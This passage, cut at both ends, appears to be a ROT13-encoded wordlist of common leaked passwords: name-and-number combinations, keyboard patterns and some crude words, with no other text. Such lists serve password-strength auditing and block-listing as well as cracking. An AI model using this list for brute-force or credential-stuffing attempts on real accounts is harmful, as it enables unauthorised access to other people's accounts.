,znevffn1,ynzrfn,zbovy1,cvbgerx,gbzzltha,lllll1,jrfyrl1,ovyyl123,ubzrefvz,whyvrf,nznaqn12,funxn,znyqvav,fhmrarg,fcevatfg,vvvvvv1,lnxhmn,111111nn,jrfgjvaq,urycqrfx,naanznev,oevatvg,ubcrshyy,uuuuuuu1,fnljung,znmqnek8,ohybin,wraavsr1,onvxny,tsuwxzkoe,ivpgbevn1,tvmzb123,nyrk99,qrswnz,2tveyf,fnaqebpx,cbfvgvib,fuvatb,flapznfg,bcrafrfn,fvyvpbar,shpxvan,fraan1,xneybf,qhssorre,zbagntar,truevt,gurgvpx,crcvab,unzohetr,cnenzrqvp,fpnzc,fzbxrjrrq,snoertnf,cunagbzf,irabz121293,2583458,onqbar,cbeab69,znajuber,isis123,abgntnva,ioxgls,esaguoles,jvyqoyhr,xryyl001,qentba66,pnzryy,phegvf1,sebybin,1212123,qbgurqrj,glyre123,erqqentb,cynargk,cebzrgur,tvtbyb,1001001,guvfbar,rhtrav,oynpxfur,pehmnmhy,vapbtavgb,chyyre,wbbanf,dhvpx1,fcvevg1,tnmmn,mrnybg,tbeqvgb,ubgebq1,zvgpu1,cbyyvgb,uryypng,zlgubf,qhyhgu,383cqwiy,rnfl123,urezbf,ovaxvr,vgf420,ybirpens,qnevra,ebzvan,qbenrzba,19877891,flpybar,unqbxra,genafcbe,vpuveb,vagryy,tnetnzry,qentba2,jnicmg,557744,ewj7k4,wraalf,xvpxvg,ewlasea,yvxrvg,555111,pbeihf,arp3520,133113,zbbxvr1,obpuhz,fnzfhat2,ybpbzna0,154htrvh,isisotsts,135792,[fgneg],graav,20001,irfgnk,uhszdj,arirentnva,jvmxvq,xwtsas,abxvn6303,gevfgra,fnygnang,ybhvr1,tnaqnys2,fvasbavn,nycun3,gbyfgbl,sbeq150,s00one,1uryyb,nyvpv,yby12,evxre1,uryybh,333888,1uhagre,dj1234,ivoengbe,zrgf86,43211234,tbamnyr,pbbxvrf1,fvffl1,wbua11,ohoore,oyhr01,phc2006,tgxziglo,anmnergu,urlonol,fherfu,grqqvr,zbmvyyn,ebqrb1,znqubhfr,tnzren,123123321,anerfu,qbzvabf,sbkgebg1,gnenf,cbjrehc,xvcyvat,wnfbao,svqtrg,tnyran,zrngzna,nycnpvab,obbxznex,snegvat,uhzcre,gvgfanff,tbetba,pnfgnjnl,qvnaxn,nahgxn,trpxb1,shpxybir,pbaarel,jvatf1,revxn1,crbevn,zbarlznxre,vpunobq,urnira1,cncreobl,cunfre,oernxref,ahefr1,jrfgoebz,nyrk13,oeraqna1,123nfq123,nyzren,tehoore,pynexvr,guvfvfzr,jryxbz01,51051051051,pelcgb,serrarg,csylojs,oynpx12,grfgzr2,punatrvg,nhgbonua,nggvpn,punbff,qraire1,grepry,tanfure23,znfgre2,infvyvv,furezna1,tbzre,ovtohpx,qrerx1,djremkpi,whzoyr,qentba23,neg131313,ahznex,ornfgl,pkspazggpaz,hcqbja,fgnevba,tyvfg,fkud65,enatre99,zbaxrl7,fuvsgre,jbyirf1,4e5g6l,cubar1,snibevgr5,fxlgbzzl,noenpnqn,1znegva,102030405060,tngrpu,tvhyvb,oynpxgbc,purre1,nsevpn1,tevmmyl1,vaxwrg,furznyrf,qhenatb1,obbare,11223344d,fhcretvey,inalnerfcrxg,qvpxyrff,fevynaxn,jrncbak,6fgevat,anfuivyy,fcvprl,obkre1,snovra,2frkl2ub,objuhag,wreelyrr,npebong,gnjarr,hyvffr,abyvzvg8,y8t3oxqr,crefuvat,tbeqb1,nyybire,tboebjaf,123432,123444,321456987,fcbba1,uuuuu1,fnvyvat1,tneqravn,grnpur,frkznpuvar,gengngn,cvengr1,avprbar,wvzobf,314159265,dfqstu,obooll,ppppp1,pneyn1,iwxwygj,fninan,ovbgrpu,sevtvq,123456789t,qentba10,lrfvnz,nycun06,bnxjbbq,gbbgre,jvafgb,enqvbzna,inivyba,nfanro,tbbtyr123,anevzna,xryylo,qgulwpaz,cnffjbeq6,cneby1,tbys72,fxngr1,ygugqw,1234567890f,xraarg,ebffvn,yvaqnf,angnyvln,cresrpgb,rzvarz1,xvgnan,nentbea1,erkban,nefranys,cynabg,pbbcr,grfgvat123,gvzrk,oynpxobk,ohyyurnq,oneonevna,qernzba,cbynevf1,psiwxga,seqsuori,tnzrgvzr,fyvcxabg666,abznq1,ustpwyom,unccl69,svqqyre,oenmvy1,wbrobl,vaqvnanyv,113355,boryvfx,gryrznex,tubfgevq,cerfgba1,nabavz,jryypbzr,irevmba1,fnlnatxh,prafbe,gvzrcbeg,qhzzvrf,nqhyg1,aoasloe,qbatre,gunyrf,vnztnl,frkl1234,qrnqyvsg,cvqnenf,qbebtn,123djr321,cbeghtn,nfqstu12,uncclf,pnqe14ah,cv3141,znxfvx,qevooyr,pbegynaq,qnexra,fgrcnabin,obzzry,gebcvp,fbpuv2014,oyhrtenf,funuvq,zreunon,anpub,2580456,benatr44,xbatra,3phqwm,78tvey,zl3xvqf,znepbcby,qrnqzrng,tnoovr,fnehzna,wrrczna,serqqvr1,xngvr123,znfgre99,ebany,onyyont,pragnhev,xvyyre7,kdtnaa,cvarpbar,wqrrer,trveol,nprfuvtu,55832811,crcfvznk,enlqra,enmbe1,gnyylub,rjryvan,pbyqsver,sybevq,tybgrfg,999333,frirahc,oyhrsva,yvzncreh,ncbfgby,oboovaf,punezrq1,zvpuryva,fhaqva,pragnhe,nycunbar,puevfgbs,gevny1,yvbaf1,45645,whfg4lbh,fgnesyrr,ivpxv1,pbhtne1,terra2,wryylsvf,ongzna69,tnzrf1,uvuwr863,penmlmvy,j0ez1,bxyvpx,qbtovgr,lffhc,fhafgne,cncevxn,cbfgbi10,124578963,k24vx3,xnanqn,ohpxfgre,vybirnzl,orne123,fzvyre,ak74205,buvbfgng,fcnprl,ovtovyy,qbhqb,avxbynrin,upyrro,frk666,zvaql1,ohfgre11,qrnpbaf,obarff,awxpafd,pnaql2,penpxre1,ghexrl1,djreglh1,tbterra,gnmmmm,rqtrjvfr,enatre01,djregl6,oynmre1,nevna,yrgzrvaabj,pvtne1,wwwwww1,tevtvb,sevra,grapuh,s9yzjq,vzvfflbh,svyvcc,urnguref,pbbyvr,fnyrz1,jbbqqhpx,fphonqvi,123xng,enssnryr,avxbynri,qncmh455,fxbbgre,9vapurf,ygutsuwxz,te8bar,ssssss1,mhwyes,nznaqn69,tyqzrb,z5jxds,eseygxs,gryrivfv,obawbh,cnyrnyr,fghss1,phznybg,shpxzrabj,pyvzo7,znex1234,g26ta4,barrlr,trbetr2,hgllsyod,uhagvat1,genpl71,ernql2tb,ubgthl,npprffab,punetre1,ehqrqbt,xzsqz,tbbore1,fjrrgvr1,jgczwtqn,qvzrafvb,byyvr1,cvpxyrf1,uryyenvfre,zhfgqvr,123mmm,99887766,fgrcnabi,ireqha,gbxraonq,nangby,onegraqr,pvqxvq86,baxrym,gvzzvr,zbbfrzna,cngpu1,12345678p,znegn1,qhzzl1,orgunal1,zlsnzvyl,uvfgbel1,178500,yfhgvtre,culqrnhk,zbera,qoeawuwqok,taokes,havqra,qehzzref,nocoes,tbqobl,qnvfl123,ubtna1,engcnpx,veynaq,gnatrevar,terqql,syber,fdehapu,ovyylwbr,d55555,pyrzfba1,98745632,znevbf,vfubg,natryva,npprff12,anehgb12,ybyyl,fpknxi,nhfgva12,fnyynq,pbby99,ebpxvg,zbatb1,znex22,tuolagu,nevnqan,fraun,qbpgb,glyre2,zbovhf,unzzneol,192168,naan12,pynver1,ckk3rsgc,frpergb,terrarlr,fgwnoa,onthivk,fngnan666,euopaolwkes,qnyynfgk,tnesvry,zvpunryw,1fhzzre,zbagna,1234no,svyoreg,fdhvqf,snfgonpx,ylhqzvyn,puhpub,rntyrbar,xvzoreyr,ne3lhx3,wnxr01,abxvqf,fbppre22,1066nq,onyyba,purrgb,erivrj69,znqrven,gnlybe2,fhaal123,puhoof,ynxrynaq,fgevxre1,cbepur,djreglh8,qvtvivrj,tb1234,srenev,ybirgvgf,nqvgln,zvaabj,terra3,zngzna,pryycuba,sbeglgjb,zvaav,chpnen,69n20n,ebzna123,shragr,12r3r456,cnhy12,wnpxl,qrzvna,yvggyrzna,wnqnxvff,iynq1997,senapn,282860,zvqvna,ahamvb,knpprff2,pbyvoev,wrffvpn0,erivyb,654456,uneirl1,jbys1,znpneran,pberl1,uhfxl1,nefra,zvyyravh,852147,pebjrf,erqpng,pbzong123654,uhttre,cfnyzf,dhvkgne,vybirzbz,gblbg,onyyff,vybirxvz,freqne,wnzrf23,niratre1,freraqvc,znynzhgr,anytnf,grsyba,funttre,yrgzrva6,ilwhwawkog,nffn1234,fghqrag1,qvkvrqbt,tmalojs13,shpxnff,nd1fj2qr3,eboebl,ubfrurnq,fbfn21,123345,vnf100,grqql123,cbccva,qty70460,mnabmn,sneuna,dhvpxfvyire,1701q,gnwznuny,qrcrpurzbqr,cnhypura,natyre,gbzzl2,erpbvy,zrtnznak,fpnerpeb,avpbyr2,152535,esigto,fxhaxl,snggl1,fngheab,jbezjbbq,zvyjnhxr,hqojfx,frkybire,fgrsn,7otvdx,tsauoe,bzne10,oengna,yolsiw,fylsbk,sberfg1,wnzob,jvyyvnz3,grzchf,fbyvgnev,yhplqbt,zhemvyxn,djrnfqmkp1,irucoxes,12312345,svkvg,jbbovr,naqer123,123456789k,yvsgre,mvanvqn,fbppre17,naqbar,sbkong,gbefgra,nccyr12,gryrcbeg,123456v,yrtybire,ovtpbpxf,ibybtqn,qbqtre1,znegla,q6b8cz,anpvban,rntyrrlr,znevn6,evzfubg,oragyrl1,bpgntba,oneobf,znfnxv,terzvb,fvrzra,f1107q,zhwrerf,ovtgvgf1,puree,fnvagf1,zecvax,fvzena,tumloe,sreenev2,frperg12,gbeanqb1,xbpunz,cvpbyb,qrarzr,barybir1,ebyna,srafgre,1shpxlbh,pnoovr,crtnfb,anfglobl,cnffjbeq5,nvqnan,zvar2306,zvxr13,jrgbar,gvttre69,lgermn,obaqntr1,zlnff,tbybin,gbyvx,uncclobl,cbvyxw,avzqn2x,enzzre,ehovrf,uneqpber1,wrgfrg,ubbcf1,wynhqvb,zvffxvgg,1puneyvr,tbbtyr12,gurbar1,cuerq,cbefpu,nnyobet,yhsg4,puneyvr5,cnffjbeq7,tabfvf,qwtnoono,1qnavry,ivaal,obeevf,phzhyhf,zrzore1,gebtqbe,qneguznh,naqerj2,xgwloy,eryvflf,xevfgr,enfgn220,putboaqt,jrrare,djregl66,sevggre,sbyybjzr,serrzna1,onyyra,oybbq1,crnpur,znevfb,geribe1,ovbgpu,tgshyynz,punzbavk,sevraqfgr,nyyvtngb,zvfun1,1fbppre,18821221,iraxng,fhcreq,zbybgbi,obatbf,zcbjre,npha3g1k,qspzes,u4k3q,esushslys,gvtena,obblnn,cynfgvp1,zbafge,esauol,ybbxngzr,nanobyvp,gvrfgb,fvzba123,fbhyzna,pnarf1,fxlxvat,gbzpng1,znqban,onffyvar,qnfun123,gneurry1,qhgpu1,kfj23rqp,djregl123456789,vzcrengbe,fynirobl,ongrnh,cnlcny,ubhfr123,cragnk,jbys666,qetbamb,creebf,qvttre1,whavaub,uryybzbgb,oynqreha,mmmmmmm1,xrroyre,gnxr8422,sssssss1,tvahjvar,vfenr,pnrfne1,penpx1,cerpvbhf1,tnenaq,zntqn1,mvtnmntn,321rjd,wbuacnhy,znzn1234,vprzna69,fnawrri,gerrzna,ryevp,eroryy,1guhaqre,pbpuba,qrnzba,mbygna,fgenlpng,huolhw,yhishe,zhtfl,cevzre,jbaqre1,grrgvzr,pnaqlpna,cspuslgj,sebzntr,tvgyre,fnyingvb,cvttl1,23049307,mnsven,puvpxl,fretrri,xngmr,onatref,naqevl,wnvyonvg,inm2107,tuouwys,qowxgaas,ndfjqr,mnenghfgen,nfebzn,1crccre,nylff,xxxxx1,elna1,enqvfu,pbmhzry,jngrecby,cragvhz1,ebfrobjy,sneznyy,fgrvajnl,qoerxm,onenabi,wxzhs,nabgure1,puvanpng,ddddddd1,unqevna,qrivyznlpel4,engont,grqql2,ybir21,chyyvatf,cnpxeng,ebola1,obbob,dj12re34,gevor1,ebfrl,pryrfgvn,avxxvr,sbeghar12,bytn123,qnagurzn,tnzrba,isesuwlf,qvyfubq,urael14,wrabin,erqoyhr,puvznren,craaljvfr,fbxengrf,qnavzny,ddnnmm,shndm4,xvyyre2,198200,gobar1,xbylna,jnoovg,yrjvf1,znkgbe,rtbvfg,nfqsnf,fcltynff,bzrtnf,wnpx12,avxvgxn,rfcrenam,qbbmre,zngrzngvxn,jjjjj1,ffffff1,cbvh0987,fhpuxn,pbhegarl1,thatub,nycun2,sxglwkes,fhzzre06,ohq420,qrivyqevire,urnilq,fnenpra,sbhpnhyg,pubpyngr,ewqsxglew,tboyhr1,zbaneb,wzbarl,qpchtu,rsopncn201,ddu92e,crcfvpby,ooo747,pu5azx,ubarlo,orfmbcgnq,gjrrgre,vagurnff,vfrrqrnqcrbcyr,123qna,89231243658f,snefvqr1,svaqzr,fzvyrl1,55556666,fneger,lgpawu,xnpcre,pbfgnevpn,134679258,zvxrlf,abyvzvg9,ibin123,jvgulbh,5eklca,ybir143,serrovr,erfphr1,203040,zvpunry6,12zbaxrl,erqterra,fgrss,vgfgvzr,anirra,tbbq12345,npvqenva,1qnjt,zvenzne,cynlnf,qnqqvb,bevba2,852741,fghqzhss,xbor24,fraun123,fgrcur,zruzrg,nyynybar,fpnesnpr1,uryybjbeyq,fzvgu123,oyhrlrf,ivgnyv,zrzcuvf1,zlovgpu,pbyva1,159874,1qvpx,cbqnevn,q6jaeb,oenuzf,s3tu65,qspoxzgq,kkkzna,pbeena,htrwic,dpszgm,znehfvn,gbgrz,nenpuavq,zngevk2,nagbaryy,stages,mrzsven,puevfgbf,fhesvat1,anehgb123,cyngb1,56dukf,znqmvn,inavyyr,043nnn,nfd321,zhggba,buvbfgngr,tbyqr,pqmawpxsq,eusplfd,terra5,ryrcuna,fhcreqbt,wnpdhryv,obyybpx,ybyvgnf,avpx12,1benatr,zncyryrn,whyl23,netragb,jnyqbes,jbysre,cbxrzba12,mkpioazz,syvpxn,qerkry,bhgynjm,uneevr,ngenva,whvpr2,snypbaf1,puneyvr6,19391945,gbjre1,qentba21,ubgqnza,qveglobl,ybir4rire,1tvatre,guhaqre2,ivetb1,nyvra1,ohooyrth,4jjigr,123456789ddd,ernygvzr,fghqvb54,cnffff,infvyrx,njfbzr,tvbetvn,ovtonff,2002gvv,fhatuvyr,zbfqrs,fvzonf,pbhag0,hjey7p,fhzzre05,yurczm,enatre21,fhtneorn,cevapvcr,5550123,gngnaxn,9638i,purrevbf,znwrer,abzrepl,wnzrfobaq007,ou90210,7550055,wboore,xnentnaqn,cbatb,gevpxyr,qrsnzre,6puvq8,1d2n3m,ghfpna,avpx123,.nqtwz,ybirlb,uboorf1,abgr1234,fubbgzr,171819,ybircbea,9788960,zbagl123,snoevpr,znpqhss,zbaxrl13,funqbjsn,gjrrxre,unaan1,znqonyy,gryarg,ybirh2,djrqpkmnf,gungfvg,isupoe,cgsr3kkc,toysuspf,qqqqqqq1,unxxvara,yvirehar,qrngufgn,zvfgl123,fhxn123,erpba1,vasreab1,232629,cbyrpng,fnavory,tebhpu,uvgrpu,unzenqvb,exsqosarus,inaqnz,anqva,snfgynar,fuybat,vqqdqvqxsn,yrqmrccryva,frklsrrg,098123,fgnprl1,artenf,ebbsvat,yhpvsre1,vxnehf,gtolua,zryavx,oneonevn,zbagrtb,gjvfgrq1,ovtny1,wvttyr,qnexjbys,npreivrj,fvyivb,gerrgbcf,ovfubc1,vjnaan,cbeafvgr,uncclzr,tsppqwuy,114411,irevgrpu,onggrefr,pnfrl123,luagto,znvygb,zvyyv,thfgre,d12345678,pbebarg,fyrhgu,shpxzrun,neznqvyy,xebfuxn,trbeqvr,ynfgbpuxn,clapuba,xvyynyy,gbzzl123,fnfun1996,tbqfybir,uvxneh,pygvpvp,pbeaoern,isxzqols,cnffznfgre,123123123n,fbhevf,anvyre,qvnobyb,fxvcwnpx,znegva12,uvangn,zbs6681,oebbxvr,qbtsvtug,wbuafb,xnecbi,326598,esioesycg,genirfgv,pnonyyre,tnynkl1,jbgna,nagbun,neg123,knxrc1234,evpsynve,creireg1,c00xvr,nzohynap,fnagbfu,orefrexre,yneel33,ovgpu123,n987654321,qbtfgne,natry22,pwpopes,erqubhfr,gbbqyrf,tbyq123,ubgfcbg,xraarql1,tybpx21,pubfra1,fpuarvqr,znvazna,gnssl1,3xv42k,4mdnhs,enatre2,4zrbayl,lrne2000,121212n,xslyfv,argmjrex,qvrfr,cvpnffb1,ererpm,225522,qnfgna,fjvzzre1,oebbxr1,oynpxorn,barjnl,ehfynan,qbag4trg,cuvqryg,puevfc,twlkoe,kjvat,xvpxzr,fuvzzl,xvzzl1,4815162342ybfg,djregl5,spcbegb,wnmmob,zvreq,252627,onffrf,fe20qrg,00133,sybeva,ubjql1,xelgra,tbfura,xbhsnk,pvpuyvq,vzubgrc,naqlzna,jerfg666,fnirzr,qhgpul,nabalzbh,frzcevav,fvrzcer,zbpun1,sberfg11,jvyqebvq,nfcra1,frfnz,xstrxm,pouorp,n55555,fvtznah,fynfu1,tvttf11,ingrpu,znevnf,pnaql123,wrevpub1,xvatzr,123n123,qenxhyn,pqwxwkz,zrephe,barzna,ubfrzna,cyhzcre,vybiruvz,ynapref,fretrl1,gnxrfuv,tbbqgbtb,penaoree,tuwpaw123,uneivpx,dnmkf,1972puri,ubefrfub,serrqbz3,yrgzrva7,fnvgrx,nathff,isiststsm,300000,ryrxgeb,gbbacbea,999111999d,znzhxn,d9hzbm,rqryjrvf,fhojbbsre,onlfvqr,qvfgheor,ibyvgvba,yhpxl3,12345678m,3zcm4e,znepu1,ngynagvqn,fgerxbmn,frntenzf,090909g,ll5eosfp,wnpx1234,fnzzl12,fnzcenf,znex12,rvagenpu,punhpre,yyyyy1,abpunapr,juvgrcbjre,197000,yoirxm,cnffre,gbenan,12345nf,cnyynf,xbbyvb,12dj34,abxvn8800,svaqbhg,1gubznf,zzzzz1,654987,zvunryn,puvanzna,fhcreqhcre,qbaanf,evatb1,wrebra,tsqxwqs,cebsrffb,pqgaes,genazrer,gnafgnns,uvzren,hxsyosawu,667788,nyrk32,wbfpuv,j123456,bxvqbxv,syngyvar,cncrepyv,fhcre8,qbevf1,2tbbq4h,4m34y0gf,crqvterr,serrevqr,tfke1100,jhystne,orawvr,sreqvana,xvat1,puneyvr7,qwqkoe,suagiod,evcphey,2jfk1dnm,xvatfk,qrfnqr,fa00cl,ybirobng,ebggvr,ritrfun,4zbarl,qbyvggyr,nqtwzcg,ohmmref,oergg1,znxvgn,123123djrdjr,ehfnyxn,fyhgf1,123456r,wnzrfba1,ovtonol,1m2m3m,pxwloe,ybir4h,shpxre69,reusols,wrnayhp,sneunq,svfusbbq,zrexva,tvnag1,tbys69,esaspauwns,pnzren1,fgebzo,fzbbgul,774411,alyba,whvpr1,esa.ves,arjlbe,123456789g,znezbg,fgne11,wraalss,wrfgre1,uvfnfuv,xhzdhng,nyrk777,uryvpbcg,zrexhe,qruclr,phzzva,mfzw2i,xevfgwna,ncevy12,ratyna,ubarlcbg,onqtveyf,hmhznxv,xrvarf,c12345,thvgn,dhnxr1,qhapna1,whvpre,zvyxobar,uhegzr,123456789o,dd123456789,fpujrva,c3jdnj,54132442,djregllgerjd,naqerrin,ehsselqr,chaxvr,nosxes,xevfgvaxn,naan1987,bbbbb1,335533nn,hzoregb,nzore123,456123789,456789123,orrypu,znagn,crrxre,1112131415,3141592654,tvccre,jevaxyr5,xngvrf,nfq123456,wnzrf11,78a3f5ns,zvpunry0,qnobff,wvzzlo,ubgqbt1,qnivq69,852123,oynmrq,fvpxna,rywrsr,2a6jid,tbovyyf,esuspz,fdhrnxre,pnobjnob,yhroev,xnehcf,grfg01,zryxbe,natry777,fznyyivy,zbqnab,bybeva,4excxg,yrfyvr1,xbssvr,funqbjf1,yvggyrba,nzvtn1,gbcrxn,fhzzre20,nfgrevk1,cvgfgbc,nyblfvhf,x12345,zntnmva,wbxre69,cnabpun,cnff1jbeq,1233214,vebacbal,368rwuvu,88xrlf,cvmmn123,fbanyv,57ac39,dhnxr2,1234567890dj,1020304,fjbeq1,slawvs,nopqr123,qsxglwe,ebpxlf,teraqry1,uneyrl12,xbxnxbyn,fhcre2,nmngubgu,yvfn123,furyyrl1,tveyff,voentvz,frira1,wrss24,1ovtqvpx,qentna,nhgbobg,g4aic7,bzrtn123,900000,urpasi,889988,avgeb1,qbttvr1,sngwbr,811cnup,gbzzlg,fnintr1,cnyyvab,fzvggl1,wt3u4usa,wnzvryrr,1dnmjfk,mk123456,znpuvar1,nfqstu123,thvaarf,789520,funexzna,wbpura,yrtraq1,fbavp2,rkgerzr1,qvzn12,cubgbzna,123459876,abxvna95,775533,inm2109,ncevy10,orpxf,erczis,cbbxre,djre12345,gurznfgre,anorry,zbaxrl10,tbtrgvg,ubpxrl99,ooooooo1,mvarqvar,qbycuva2,naryxn,1fhcrezn,jvagre01,zhttfl,ubeal2,669966,xhyrfubi,wrfhfvf,pnyniren,ohyyrg1,87g5uqs,fyrrcref,jvaxvr,irfcn,yvtugfno,pnevar,zntvfgre,1fcvqre,fuvgoveq,fnyning,orppn1,jp18p2,fuvenx,tnynpghf,mnfxne,onexyrl1,erfuzn,qbtoerng,shyyfnvy,nfnfn,obrqre,12345gn,mkpioaz12,yrcgba,rysdhrfg,gbal123,ixnkpf,fningntr,frivyvn1,onqxvggl,zhaxrl,crooyrf1,qvpvrzoe,dnczbp,tnoevry2,1dn2jf3r,popzeo,jryyqbar,aslhsu,xnvmra,wnpx11,znavfun,tebzzvg,t12345,znirevx,purffzna,urlgurer,zvknvy,wwwwwww1,flyivn1,snvezbag,uneir,fxhyyl,tybony1,lbhjvfu,cvxnpuh1,onqpng,mbzovr1,49527843,hygen1,erqevqre,bssfceva,ybiroveq,153426,fglzvr,nd1fj2,fbeeragb,0000001,e3nql41g,jrofgre1,95175,nqnz123,pbbanff,159487,fyhg1,trenfvz,zbaxrl99,fyhgjvsr,159963,1cnff1cntr,ubovrpng,ovtglzre,nyy4lbh,znttvr2,bynzvqr,pbzpnfg1,vasvavg,onvyrr,infvyrin,.xgkes,nfqstuwxy1,12345678912,frggre,shpxlbh7,aantdk,yvsrfhpx,qenxra,nhfgv,sro2000,pnoyr1,1234djrenfqs,unk0erq,mkpi12,iynq7788,abfnw,yrabib,haqrecne,uhfxvrf1,ybirtvey,srlazna,fhregr,ononybb,nyfxqwsut,byqfzbov,obzore1,erqebire,chchpr,zrgubqzna,curabz,phgrtvey,pbhaglyv,tergfpu,tbqvftbbq,olfhafh,unequng,zvebabin,123djr456egl,ehfgl123,fnyhg,187211,555666777,11111m,znurfu,ewaglwkge,oe00xyla,qhapr1,gvzrobzo,obivar,znxrybir,yvggyrr,funira,evmjna,cngevpx7,42042042,oboovwb,ehfgrz,ohggzhap,qbatyr,gvtre69,oyhrpng,oynpxuby,fuveva,crnprf,pureho,phonfr,ybatjbbq,ybghf7,tjwh3t,oehva,cmnvh8,terra11,hlkalq,friragrr,qentba5,gvaxreory,oyhrff,obzon,srqbebin,wbfuhn2,obqlfubc,cryhpur,tocnpxre,furyyl1,q1v2z3n4,tugcoygla,gnybaf,fretrrian,zvfngb,puevfp,frkzrhc,oeraq,byqqbt,qniebf,unmryahg,oevqtrg1,ummr929o,ernqzr,oerguneg,jvyq1,tuoqgaoe1,abegry,xvatre,eblny1,ohpxl1,nyynu1,qenxxne,rzlrhnau,tnyyntur,uneqgvzr,wbpxre,gnazna,synivb,nopqrs123,yrivngun,fdhvq1,fxrrg,frkfr,123456k,zbz4h4zz,yvyerq,qwywxgd,bprna11,pnqnire,onkgre1,808fgngr,svtugba,cevzniren,1naqerj,zbbtyr,yvznorna,tbqqrff1,ivgnyln,oyhr56,258025,ohyyevqr,pvppv,1234567q,pbaabe1,tfke11,byvirbvy,yrbaneq1,yrtfrk,tnievx,ewawtgp,zrkvpnab,2onq4h,tbbqsryynf,beaj6q,znapurfgr,unjxzbba,mymseu,fpubefpu,t9maf4,onfushy,ebffv46,fgrcuvr,esusagxz,fryybhg,123shpx,fgrjne1,fbyamr,00007,gube5200,pbzcnd12,qvqvg,ovtqrny,uwyols,mrohyba,jcs8rh,xnzena,rznahryr,197500,pneiva,bmyd6djz,3fldb15uvy,craalf,rciwo6,nfqstuwxy123,198000,asopom,wnmmre,nfsaut66,mbybsg,nyohaql,nrvbh,trgynvq,cynarg1,twxolwkes,nyrk2000,oevnao,zbirba,znttvr11,rvrvb,ipenqd,funttl1,abinegvf,pbpbybpb,qhanzvf,554hmcnq,fhaqebc,1djreglh,nysvr,sryvxf,oevnaq,123jjj,erq456,nqqnzf,suagi1998,tbbqurnq,gurjnl,wninzna,natry01,fgengbpn,ybafqnyr,15987532,ovtcvzcva,fxngre1,vffhr43,zhssvr,lnfzvan,fybjevqr,pez114,fnavgl729,uvzzry,pnebypbk,ohfgnahg,cnenobyn,znfgreyb,pbzchgnqbe,penpxurn,qlanfgne,ebpxobgg,qbttlfgl,jnagfbzr,ovtgra,tnryyr,whvpl1,nynfxn1,rgbjre,fvkavar,fhagna,sebttvrf,abxvn7610,uhagre11,awargf,nyvpnagr,ohggbaf1,qvbfrfnzb,ryvmnorgu1,puveba,gehfgabb,nznghref,gvalgvz,zrpugn,fnzzl2,pguhyh,gef8s7,cbbanz,z6pwl69h35,pbbxvr12,oyhr25,wbeqnaf,fnagn1,xnyvaxn,zvxrl123,yrorqrin,12345689,xvffff,dhrraorr,iwloawu,tubfgqbt,phpxbyq,ornefuner,ewpaglew,nyvabpuxn,tuwpaweqsvolw,nttvr1,grraf1,3didbq,qnhera,gbavab,ucx2dp,vdmmg580,ornef85,anfpne88,gurobl,awdpj4,znflnaln,ca5wij,vagenarg,ybyybar,funqbj99,00096462,grpuvr,pigvsuoeo,erqrrzrq,tbpnarf,62717315,gbczna,vagw3n,pboenwrg,nagvivehf,julzr,orefrexr,vxvym083,nverqnyr,oenaqba2,ubcxvt,wbunaan1,qnavy8098,tbwven,neguh,ivfvba1,craqentba,zvyra,puevffvr,inzcveb,zhqqre,puevf22,oybjzr69,bzrtn7,fhesref,tbgrecf,vgnyl1,onfron11,qvrtb1,tangfhz,oveqvrf,frzrabi,wbxre123,mravg2011,jbwgrx,pno4zn99,jngpuzra,qnzvn,sbetbggr,sqz7rq,fgehzzre,serrynap,pvathyne,benatr77,zpqbanyqf,iwuwcwqs,xnevln,gbzofgba,fgneyrg,unjnvv1,qnagurzna,zrtnolgr,aoiwves,nawvat,loewxsgqok,ubgzbz,xnmorx,cnpvsvp1,fnfuvzv,nfq12,pbbefyvt,liggr545,xvggr,rylfvhz,xyvzraxb,pbooyref,xnzrunzrun,bayl4zr,erqevire,gevsbepr,fvqbebi,ivggbevn,serqv,qnax420,z1234567,snyybhg2,989244342n,penml123,pencbyn,freihf,ibyibf,1fpbbgre,tevssva1,nhgbcnff,bjamlbh,qrivnag,trbetr01,2xtjnv,obrvat74,fvzued,urezbfn,uneqpbe,tevssl,ebyrk1,unpxzr,phqqyrf1,znfgre3,ohwuge,nneba123,cbcbyb,oynqre,1frklerq,treel1,pebabf,ssiqw474,lrrunj,obo1234,pneybf2,zvxr77,ohpxjurng,enzrfu,npyf2u,zbafgre2,zbagrff,11dd22jj,ynmre,mk123456789,puvzcl,znfgrepu,fnetba,ybpuarff,nepunan,1234djreg,uoksuy,fnenuo,nygbvq,mkpioa12,qnxbg,pngreunz,qbybzvgr,punmm,e29udd,ybatbar,crevpyrf,tenaq1,fureoreg,rntyr3,chqtr,vebagerr,flancfr,obbzr,abtbbq,fhzzre2,cbbxv,tnatfgn1,znunyxvg,ryraxn,yougeawu,qhxrqbt,19922991,ubcxvaf1,ritravn,qbzvab1,k123456,znaal1,gnoolpng,qenxr1,wrevpb,qenupve,xryyl2,708090n,snprfvg,11p645qs,znp123,obbqbt,xnynav,uvcubc1,pevggref,uryybgurer,goveqf,inyrexn,551fpnfv,ybir777,cnybnygb,zeoebja,qhxr3q,xvyyn1,nepghehf,fcvqre12,qvmml1,fzhqtre,tbqqbt,75395,fcnzzl,1357997531,78678,qngnyvsr,mkpioa123,1122112211,ybaqba22,23qc4k,ekzgxc,ovttveyf,bjafh,ymof2gjm,funecf,trelsr,237081n,tbynxref,arzrfv,fnfun1995,cerggl1,zvggraf1,q1ynxvff,fcrrqenp,tsuwxzz,fnoong,uryyenvf,159753258,djreglhvbc123,cynltvey,pevccyre,fnyzn,fgeng1,pryrfg,uryyb5,bzrtn5,purrfr12,aqrly5,rqjneq12,fbppre3,purrevb,qnivqb,isepoe,twuwpglwe,obfpbr,varffn,fuvgubyr,vovyy,djrcbv,201wrqym,nfqyxw,qnivqx,fcnja2,nevry1,zvpunry4,wnzvr123,ebznagvx,zvpeb1,cvggfohe,pnavohf,xngwn,zhugne,gubznf123,fghqobl,znfnuveb,eroebi,cngevpx8,ubgoblf,fnetr1,1unzzre,aaaaa1,rvfgrr,qngnyber,wnpxqnav,fnfun2010,zjd6dymb,pzsach,xynhfv,pauwoagxz,naqemrw,vybirwra,yvaqnn,uhagre123,iiiii1,abirzor,unzfgre1,k35i8y,ynprl1,1fvyire,vyhicbea,inygre,urefba,nyrkfnaqe,pbwbarf,onpxubr,jbzraf,777natry,orngvg,xyvatba1,gn8t4j,yhvfvgb,orarqvxg,znkjry,vafcrpgb,mnd12jf,jynqvzve,oboolq,crgrew,nfqst12,uryyfcnja,ovgpu69,avpx1234,tbysre23,fbal123,wryyb1,xvyyvr,puhool1,xbqnven52,lnabpuxn,ohpxsnfg,zbeevf1,ebnqqbtt,fanxrrlr,frk1234,zvxr22,zzbhfr,shpxre11,qnag